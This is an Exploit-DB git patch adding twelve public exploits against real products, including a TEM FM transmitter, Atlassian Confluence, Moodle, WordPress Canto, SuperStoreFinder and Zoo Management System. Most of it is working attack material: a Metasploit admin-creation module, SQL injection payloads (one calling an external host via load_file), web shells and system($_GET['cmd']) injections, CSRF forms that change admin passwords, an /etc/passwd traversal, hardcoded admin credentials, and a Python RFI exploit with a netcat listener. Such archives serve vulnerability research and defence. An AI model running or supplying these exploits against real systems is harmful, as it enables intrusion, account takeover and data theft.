From c1bcfc63471d90fcaecea6b7d011faedd031cc7f Mon Sep 17 00:00:00 2001 From: Exploit-DB Date: Wed, 28 Feb 2024 00:16:32 +0000 Subject: [PATCH] DB: 2024-02-28 13 changes to exploits/shellcodes/ghdb TEM Opera Plus FM Family Transmitter 35.45 - Remote Code Execution TEM Opera Plus FM Family Transmitter 35.45 - XSRF Executables Created with perl2exe < V30.10C - Arbitrary Code Execution Atlassian Confluence Data Center and Server - Authentication Bypass (Metasploit) Automatic-Systems SOC FL9600 FastLine - Directory Transversal Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin dawa-pharma 1.0-2022 - Multiple-SQLi Moodle 4.3 - Insecure Direct Object Reference Moodle 4.3 - Reflected XSS SuperStoreFinder - Multiple Vulnerabilities Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE) Zoo Management System 1.0 - Unauthenticated RCE --- exploits/hardware/remote/51827.txt | 67 +++++++ exploits/hardware/remote/51828.txt | 92 ++++++++++ exploits/multiple/remote/51825.txt | 48 +++++ exploits/multiple/webapps/51829.rb | 138 ++++++++++++++ exploits/php/webapps/51818.txt | 45 +++++ exploits/php/webapps/51819.txt | 279 +++++++++++++++++++++++++++++ exploits/php/webapps/51820.txt | 29 +++ exploits/php/webapps/51821.txt | 19 ++ exploits/php/webapps/51822.txt | 131 ++++++++++++++ exploits/php/webapps/51823.txt | 11 ++ exploits/php/webapps/51824.txt | 16 ++ exploits/php/webapps/51826.py | 106 +++++++++++ files_exploits.csv | 12 ++ 13 files changed, 993 insertions(+) create mode 100644 exploits/hardware/remote/51827.txt create mode 100644 exploits/hardware/remote/51828.txt create mode 100644 exploits/multiple/remote/51825.txt create mode 100755 exploits/multiple/webapps/51829.rb create mode 100644 exploits/php/webapps/51818.txt create mode 100644 exploits/php/webapps/51819.txt create mode 100644 exploits/php/webapps/51820.txt create mode 100644 exploits/php/webapps/51821.txt create mode 100644 exploits/php/webapps/51822.txt create mode 100644 exploits/php/webapps/51823.txt create mode 100644 exploits/php/webapps/51824.txt create mode 100755 exploits/php/webapps/51826.py diff --git a/exploits/hardware/remote/51827.txt b/exploits/hardware/remote/51827.txt new file mode 100644 index 000000000..e8f1795ea --- /dev/null +++ b/exploits/hardware/remote/51827.txt @@ -0,0 +1,67 @@ +TEM Opera Plus FM Family Transmitter 35.45 Remote Code Execution + + +Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l. +Product web page: https://www.tem-italy.it +Affected version: Software version: 35.45 + Webserver version: 1.7 + +Summary: This new line of Opera plus FM Transmitters combines very +high efficiency, high reliability and low energy consumption in compact +solutions. They have innovative functions and features that can eliminate +the costs required by additional equipment: automatic exchange of audio +sources, built-in stereo encoder, integrated RDS encoder, parallel I/O +card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP +Webserver. + +Desc: The device allows access to an unprotected endpoint that allows +MPFS File System binary image upload without authentication. The MPFS2 +file system module provides a light-weight read-only file system that +can be stored in external EEPROM, external serial Flash, or internal +Flash program memory. This file system serves as the basis for the +HTTP2 web server module, but is also used by the SNMP module and is +available to other applications that require basic read-only storage +capabilities. This can be exploited to overwrite the flash program +memory that holds the web server's main interfaces and execute arbitrary +code. + +Tested on: Webserver + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2023-5799 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5799.php + + +18.08.2023 + +-- + + +POST /mpfsupload HTTP/1.1 +Host: 192.168.1.2:8000 +Content-Length: 251 +Cache-Control: max-age=0 +Content-Type: multipart/form-data; boundary=----joxypoxy2 +User-Agent: MPFS2_PoC/2.0c +Accept: */* +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Connection: close + +------joxypoxy2 +Content-Disposition: form-data; name="i"; filename="MPFSimg2.bin" +Content-Type: application/octet-stream + +MPFS... +-----joxypoxy2-- + + +HTTP/1.1 200 OK +Connection: close +Content-Type: text/html + +MPFS Update Successful

Site main page \ No newline at end of file diff --git a/exploits/hardware/remote/51828.txt b/exploits/hardware/remote/51828.txt new file mode 100644 index 000000000..25a638b61 --- /dev/null +++ b/exploits/hardware/remote/51828.txt @@ -0,0 +1,92 @@ + + + +CSRF Change Forward Power: +------------------------- + + + +

+ + +
+ + + + +CSRF Change Frequency: +--------------------- + + + +
+ + +
+ + + + +CSRF Change User/Pass/Priv Change Admin/User/Pass: +------------------------------------------------- + + + +
+ + + + + + + + + + + + + + + + + + +
+ + \ No newline at end of file diff --git a/exploits/multiple/remote/51825.txt b/exploits/multiple/remote/51825.txt new file mode 100644 index 000000000..67bfa66c1 --- /dev/null +++ b/exploits/multiple/remote/51825.txt @@ -0,0 +1,48 @@ +# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution +# Date: 10/17/2023 +# Exploit Author: decrazyo +# Vendor Homepage: https://www.indigostar.com/ +# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz +# Version: <= V30.10C +# Tested on: Ubuntu 22.04 + +# Description: +perl2exe packs perl scripts into native executables. +Those executables use their 0th argument to locate a file to unpack and execute. +Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument. +That can be useful for breaking out of restricted shell environments. + +# Proof and Concept: +user@testing:~/example$ ls +p2x-30.10-Linux-x64-5.30.1.tar.gz perl2exe-Linux-x64-5.30.1 +user@testing:~/example$ +user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack. +user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl +user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl +Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software +... +Generating safe +user@testing:~/example$ +user@testing:~/example$ # Check that the program executes as expected. +user@testing:~/example$ ./safe +I am completely safe +user@testing:~/example$ +user@testing:~/example$ # Create and pack a "malicious" script that we want to execute. +user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl +user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl +Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software +... +Generating malicious +user@testing:~/example$ +user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions. +user@testing:~/example$ chmod -x malicious +user@testing:~/example$ ./malicious +-bash: ./malicious: Permission denied +user@testing:~/example$ +user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument. +user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself. +user@testing:~/example$ bash -c 'exec -a malicious ./safe' +j/k I am malicious AF +$ pstree -s $$ +systemd───sshd───sshd───sshd───bash───safe───sh───pstree +$ \ No newline at end of file diff --git a/exploits/multiple/webapps/51829.rb b/exploits/multiple/webapps/51829.rb new file mode 100755 index 000000000..7612c28cb --- /dev/null +++ b/exploits/multiple/webapps/51829.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control', + 'Description' => %q{ + This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass. + A specially crafted request can be create new admin account without authentication on the target Atlassian server. + }, + 'Author' => [ + 'Unknown', # exploited in the wild + 'Emir Polat' # metasploit module + ], + 'References' => [ + ['CVE', '2023-22515'], + ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'], + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'], + ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'] + ], + 'DisclosureDate' => '2023-10-04', + 'DefaultOptions' => { + 'RPORT' => 8090 + }, + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']), + OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/), + OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]), + OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email]) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/login.action') + ) + return Exploit::CheckCode::Unknown unless res + return Exploit::CheckCode::Safe unless res.code == 200 + + poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text + return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/ + + confluence_version = Rex::Version.new(Regexp.last_match(1)) + + vprint_status("Detected Confluence version: #{confluence_version}") + + if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) || + confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) || + confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1')) + return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}") + end + + Exploit::CheckCode::Safe("Confluence version: #{confluence_version}") + end + + def run + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/server-info.action'), + 'vars_get' => { + 'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false' + } + ) + + return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200 + + print_good('Found server-info.action! Trying to ignore setup.') + + created_user = create_admin_user + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'), + 'headers' => { + 'X-Atlassian-Token' => 'no-check' + } + ) + + return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user + + print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200 + + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: datastore['NEW_USERNAME'], + private_type: :password, + private_data: datastore['NEW_PASSWORD'], + service_name: 'Atlassian Confluence', + address: datastore['RHOST'], + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED + }) + + print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}") + print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action") + end + + def create_admin_user + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'), + 'headers' => { + 'X-Atlassian-Token' => 'no-check' + }, + 'vars_post' => { + 'username' => datastore['NEW_USERNAME'], + 'fullName' => 'New Admin', + 'email' => datastore['NEW_EMAIL'], + 'password' => datastore['NEW_PASSWORD'], + 'confirm' => datastore['NEW_PASSWORD'], + 'setup-next-button' => 'Next' + } + ) + res&.code == 302 + end +end \ No newline at end of file diff --git a/exploits/php/webapps/51818.txt b/exploits/php/webapps/51818.txt new file mode 100644 index 000000000..c6fdaba21 --- /dev/null +++ b/exploits/php/webapps/51818.txt @@ -0,0 +1,45 @@ +## Title: dawa-pharma-1.0-2022 Multiple-SQLi +## Author: nu11secur1ty +## Date: 10/12/2023 +## Vendor: https://www.mayurik.com/ +## Software: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download +## Reference: https://portswigger.net/web-security/sql-injection + + +## Description: +The email parameter appears to be vulnerable to SQL injection attacks. +The payload '+(select +load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+' +was submitted in the email parameter. This payload injects a SQL +sub-query that calls MySQL's load_file function with a UNC file path +that references a URL on an external domain. The application +interacted with that domain, indicating that the injected SQL query +was executed. The attacker can get all the information for the clients +of this application from the server, and very sensitive information +for accessing the server by exploiting the vulnerability. + +[+]Payload: +```MySQL +--- +Parameter: email (POST) + Type: boolean-based blind + Title: OR boolean-based blind - WHERE or HAVING clause + Payload: email=-8698' OR 5305=5305-- vvuH&password=mayurik&login= + + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: email=mayuri.infospace@gmail.com'+(select +load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'' +AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)-- +VRdC&password=mayurik&login= +--- +``` + + +## Reproduce: +https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/dawa-pharma-1.0-2022 + + +System Administrator - Infrastructure Engineer +Penetration Testing Engineer +home page: https://www.nu11secur1ty.com/ \ No newline at end of file diff --git a/exploits/php/webapps/51819.txt b/exploits/php/webapps/51819.txt new file mode 100644 index 000000000..1a5e8d144 --- /dev/null +++ b/exploits/php/webapps/51819.txt @@ -0,0 +1,279 @@ +# Exploit Title: Zoo Management System 1.0 - Unauthenticated RCE +# Date: 16.10.2023 +# Exploit Author: Çağatay Ceyhan +# Vendor Homepage: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html#google_vignette +# Software Link: https://www.sourcecodester.com/download-code?nid=15347&title=Zoo+Management+System+source+code+in+PHP+with+MySQL+Database +# Version: 1.0 +# Tested on: Windows 11 + +## Unauthenticated users can access /zoomanagementsystem/admin/public_html/save_animal address and they can upload malicious php file instead of animal picture image without any authentication. + + +POST /zoomanagementsystem/admin/public_html/save_animal HTTP/1.1 +Host: localhost +Content-Length: 6162 +Cache-Control: max-age=0 +sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8" +sec-ch-ua-mobile: ?0 +sec-ch-ua-platform: "Windows" +Upgrade-Insecure-Requests: 1 +Origin: http://localhost +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8NY8zT5dXIloiUML +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Sec-Fetch-Site: same-origin +Sec-Fetch-Mode: navigate +Sec-Fetch-User: ?1 +Sec-Fetch-Dest: document +Referer: http://localhost/zoomanagementsystem/admin/public_html/save_animal +Accept-Encoding: gzip, deflate, br +Accept-Language: en-US,en;q=0.9 +Connection: close + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="animal_id" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_given_name" + +kdkd +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_species_name" + +ıdsıd +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_dob" + +1552-02-05 +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_gender" + +m +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_avg_lifespan" + +3 +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="class_id" + +2 +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="location_id" + +2 +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_dietary_req" + +2 +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_natural_habitat" + +faad +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_pop_dist" + +eterter +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_joindate" + +5559-02-06 +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_height" + +2 +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_weight" + +3 +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_description" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="images[]"; filename="ultra.php" +Content-Type: application/octet-stream + + + + + + + + + Web Shell + + + + + +
+

Web Shell

+

Execute a command

+ +
+ +
+ + +
+
+ + +

Output

+ +
+ + 
No result.
+ + +
+ + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_med_record" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_transfer" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_transfer_reason" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_death_date" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_death_cause" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="an_incineration" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="m_gest_period" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="m_category" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="m_avg_body_temp" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="b_nest_const" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="b_clutch_size" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="b_wingspan" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="b_color_variant" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="f_body_temp" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="f_water_type" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="f_color_variant" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="rep_type" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="clutch_size" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="num_offspring" + + +------WebKitFormBoundary8NY8zT5dXIloiUML +Content-Disposition: form-data; name="submit" + + +------WebKitFormBoundary8NY8zT5dXIloiUML-- + + + + +## After the post request sent by an attacker, the malicious file can be seen under the http://localhost/zoomanagementsystem/img/animals/. the attacker can execute arbitrary command on http://localhost/zoomanagementsystem/img/animals/ultra_1697442648.php. \ No newline at end of file diff --git a/exploits/php/webapps/51820.txt b/exploits/php/webapps/51820.txt new file mode 100644 index 000000000..9b5b30129 --- /dev/null +++ b/exploits/php/webapps/51820.txt @@ -0,0 +1,29 @@ +# Exploit Title: Moodle 4.3 'id' Insecure Direct Object Reference (IDOR) +# Date: 20/10/2023 +# Exploit Author: tmrswrr +# Vendor Homepage: https://moodle.org/ +# Software Demo: https://school.moodledemo.net/ +# Version: 4.3+ +# Tested on: Linux + + +Vulnerability Details +====================== + +Steps : + +1. Log in to the application with the given credentials > USER: teacher PASS: moodle +2. In profile.php?id=11, modify the id Parameter to View User details, +Email address, Country, City/town, City, Timezone +3. Change the existing "id" value to another number + +https://school.moodledemo.net/user/profile.php?id=4 +https://school.moodledemo.net/user/profile.php?id=5 +https://school.moodledemo.net/user/profile.php?id=10 +https://school.moodledemo.net/user/profile.php?id=50 + +https://school.moodledemo.net/blog/index.php?userid=3 +https://school.moodledemo.net/blog/index.php?userid=14 + +https://school.moodledemo.net/mod/forum/user.php?id=53 +https://school.moodledemo.net/mod/forum/user.php?id=50 \ No newline at end of file diff --git a/exploits/php/webapps/51821.txt b/exploits/php/webapps/51821.txt new file mode 100644 index 000000000..76a1711cb --- /dev/null +++ b/exploits/php/webapps/51821.txt @@ -0,0 +1,19 @@ +# Exploit Title: Moodle 4.3 Reflected XSS +# Date: 21/10/2023 +# Exploit Author: tmrswrr +# Vendor Homepage: https://moodle.org/ +# Software Demo: https://school.moodledemo.net/ +# Version: 4.3 +# Tested on: Linux + + +Vulnerability Details +====================== + +Steps : + +1. Log in to the application with the given credentials > USER: teacher PASS: moodle +2. Go to this page https://school.moodledemo.net/grade/report/grader/index.php?id=69&searchvalue= +3. Write this payload in the searchvalue field : "onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"qq9r3 +4. When click this url "https://school.moodledemo.net/grade/report/grader/index.php?id=69&searchvalue=%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22qq9r3" +5. You will be see alert button \ No newline at end of file diff --git a/exploits/php/webapps/51822.txt b/exploits/php/webapps/51822.txt new file mode 100644 index 000000000..48483d04d --- /dev/null +++ b/exploits/php/webapps/51822.txt @@ -0,0 +1,131 @@ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + .:. Exploit Title > SuperStoreFinder - Multiple Vulnerabilities + +.:. Google Dorks .:. +"designed and built by Joe Iz." +"Super Store Finder is designed and built by Joe Iz from Highwarden Huntsman." +inurl:/superstorefinder/index.php + +.:. Date: 0ctober 13, 2023 +.:. Exploit Author: bRpsd +.:. Contact: cy[at]live.no +.:. Vendor -> https://www.superstorefinder.net/ +.:. Product -> https://codecanyon.net/item/super-store-finder/3630922 +.:. Product Version -> [3.7 and below] +.:. DBMS -> MySQL +.:. Tested on > macOS [*nix Darwin Kernel], on local xampp +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + + + ############# + |DESCRIPTION| + ############# +"Super Store Finder is a multi-language fully featured PHP/Javascript/MySQL store locator script integrated with the latest Google Maps API that allows customers to locate your stores easily. Packed with great features such as Geo Location, Drag and Drop Marker, Bulk Import and Geo code, Google Street View, Google Maps Direction and it is customizable and stylable (with extensible themes/add-ons, custom colors and maps design using snazzymaps.com). The store finder will be able to list nearby stores / outlets around your web visitors from nearest to the furthest distance away. Your customers will never be lost again getting to your stores / locations" + + + + + + +Vulnerability 1: Unauthenticated SQL Injection +Types: boolean-based blind,error-based, time-based blind +File: localhost/admin/index.php +Vul Parameter: USERNAME [POST] + +=========================================================================================== +Vulnerability 1: Unauthenticated SQL Injection +Types: boolean-based blind,error-based, time-based blind +File: localhost/admin/index.php +Vul Parameter: USERNAME [POST] + + + +Test #1 + +http://localhost:9000/adminstorefinder/admin/index.php + +username=a'&password=1&btn_login=Login + +Response Error: +Array +( + [0] => Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1 +) +SELECT users.* FROM users WHERE users.username='admin'' +=========================================================================================== + +Test #2 => Payload (Proof Of Concept) + +http://localhost:9000/adminstorefinder/admin/index.php + +username=a' AND GTID_SUBSET(CONCAT(0x7162766b71,(SELECT (CASE WHEN (ISNULL(JSON_STORAGE_FREE(NULL))) THEN 1 ELSE 0 END)),0x7170707071),3239)-- Seaj +&password=1&btn_login=Login + + +Response Error: +Array +( + [0] => Invalid query: FUNCTION adminstorefinder.JSON_STORAGE_FREE does not exist +) +=========================================================================================== + + + +====================================================================================================================================================================================== +Vulnerability 2: Authenticated PHP Injection - Remote Code Exectuion +File: localhost/admin/settings.php +Vul Parameter: language_set [POST] + + +Proof of concept: +http://localhost:9000/superstorefinder/admin/settings.php +langset=en_US&language_set=en_US');!isset($_GET['cmd'])?:system($_GET['cmd']);//&distance_set=mi&init_zoom=0&zoomhere_zoom=0&geo_settings=0&default_location=New York, US&style_map_color=rgba(0,0,0,1)&style_map_code=94102&style_top_bar_bg=rgba(0,0,0,1)&style_top_bar_font=rgba(0,0,0,1)&style_top_bar_border=rgba(0,0,0,1)&style_results_bg=rgba(0,0,0,1)&style_results_hl_bg=rgba(0,0,0,1)&style_results_hover_bg=rgba(0,0,0,1)&style_results_font=rgba(0,0,0,1)&style_results_distance_font=rgba(0,0,0,1)&style_distance_toggle_bg=rgba(0,0,0,1)&style_contact_button_bg=rgba(0,0,0,1)&style_contact_button_font=rgba(0,0,0,1)&style_button_bg=rgba(0,0,0,1)&style_button_font=rgba(0,0,0,1)&style_list_number_bg=rgba(0,0,0,1)&style_list_number_font=rgba(0,0,0,1)&save=1 + + +Index.php included in the config.inc.php , we just can go for rce +with GET parameter ?cmd= + + +http://localhost:9000/?cmd=uname -a + +Reponse: +22.2.0 Darwin Kernel Version 22.2.0: Fri Nov 11 02:08:47 PST 2022; root:xnu-8792.61.2~4/RELEASE_X86_64 x86_64 +=========================================================================================== + + + + +=========================================================================================== +Vulnerability 3: Cross Site Request Forgery +Risk: It can lead to Privilege Escalation through adding admins or changing admin password. +Affected Files (1): localhost/superstorefinder/admin/users_add.php +Parameters: username,password,cpassword + +Proof of concept: + +
+ + +       + + +
+ +       + + + + +Affected Files (2:):localhost/superstorefinder/admin/change_password.php +Parameters: password,cpassword,save + +Proof of concept: + +
+ +       + +
+ +       + ====================================================================================== \ No newline at end of file diff --git a/exploits/php/webapps/51823.txt b/exploits/php/webapps/51823.txt new file mode 100644 index 000000000..3c3d8086e --- /dev/null +++ b/exploits/php/webapps/51823.txt @@ -0,0 +1,11 @@ +# Exploit Title: Automatic-Systems SOC FL9600 FastLine - Directory Transversal +# Google Dork: +# Date: 12/9/2023 +# Exploit Author: Mike Jankowski-Lorek, Marcin Kozlowski / Cqure +# Vendor Homepage: http://automatic-systems.com +# Software Link: +# Version: V06 +# Tested on: V06, VersionSVN = 28569_8a99acbd8d7ea09a57d5fbcb435da5427b3f6b8a +# CVE : CVE-2023-37607 + +Request URL: http:///csvServer.php?getList=1&dir=../../../../etc/&file=passwd \ No newline at end of file diff --git a/exploits/php/webapps/51824.txt b/exploits/php/webapps/51824.txt new file mode 100644 index 000000000..223beed29 --- /dev/null +++ b/exploits/php/webapps/51824.txt @@ -0,0 +1,16 @@ +# Exploit Title: Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin +# Google Dork: +# Date: 12/9/2023 +# Exploit Author: Mike Jankowski-Lorek, Marcin Kozlowski / Cqure +# Vendor Homepage: http://automatic-systems.com +# Software Link: +# Version: V06 +# Tested on: V06, VersionSVN = 28569_8a99acbd8d7ea09a57d5fbcb435da5427b3f6b8a +# CVE : CVE-2023-37608 + +An issue in Automatic Systems SOC FL9600 FastLine version:V06 a remote attacker to obtain sensitive information via the admin login credentials. + +The device contains hardcoded login and password for super admin. The administrator cannot change the password for this account. + +Login: automaticsystems +Password: astech \ No newline at end of file diff --git a/exploits/php/webapps/51826.py b/exploits/php/webapps/51826.py new file mode 100755 index 000000000..0d21398f6 --- /dev/null +++ b/exploits/php/webapps/51826.py @@ -0,0 +1,106 @@ +# Exploit Title: Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE) +# Date: 04/11/2023 +# Exploit Author: Leopoldo Angulo (leoanggal1) +# Vendor Homepage: https://wordpress.org/plugins/canto/ +# Software Link: https://downloads.wordpress.org/plugin/canto.3.0.4.zip +# Version: All versions of Canto Plugin prior to 3.0.5 +# Tested on: Ubuntu 22.04, Wordpress 6.3.2, Canto Plugin 3.0.4 +# CVE : CVE-2023-3452 + +#PoC Notes: +#The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452) +#This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code: +#... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ... +#This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files. +# More information in Leoanggal1's Github + +#!/usr/bin/python3 +import argparse +import http.server +import socketserver +import threading +import requests +import os +import subprocess + +# Define the default web shell +default_web_shell = "" + +def create_admin_file(local_dir, local_shell=None): + if not os.path.exists(local_dir): + os.makedirs(local_dir) + + # If a local shell is provided, use it; otherwise, use the default web shell + if local_shell: + with open(f"{local_dir}/admin.php", "wb") as admin_file: + with open(local_shell, "rb") as original_file: + admin_file.write(original_file.read()) + else: + with open(f"{local_dir}/admin.php", "w") as admin_file: + admin_file.write(default_web_shell) + +def start_local_server(local_port): + Handler = http.server.SimpleHTTPRequestHandler + httpd = socketserver.TCPServer(("0.0.0.0", local_port), Handler) + + print(f"Local web server on port {local_port}...") + httpd.serve_forever() + + return httpd + +def exploit_rfi(url, local_shell, local_host, local_port, command, nc_port): + local_dir = "wp-admin" + create_admin_file(local_dir, local_shell) + + target_url = f"{url}/wp-content/plugins/canto/includes/lib/download.php" + local_server = f"http://{local_host}:{local_port}" + command = f"cmd={command}" + + if local_shell: + # If a local shell is provided, start netcat on the specified port + subprocess.Popen(["nc", "-lvp", str(nc_port)]) + + server_thread = threading.Thread(target=start_local_server, args=(local_port,)) + server_thread.daemon = True + server_thread.start() + + exploit_url = f"{target_url}?wp_abspath={local_server}&{command}" + print(f"Exploitation URL: {exploit_url}") + + response = requests.get(exploit_url) + print("Server response:") + print(response.text) + + # Shutdown the local web server + print("Shutting down local web 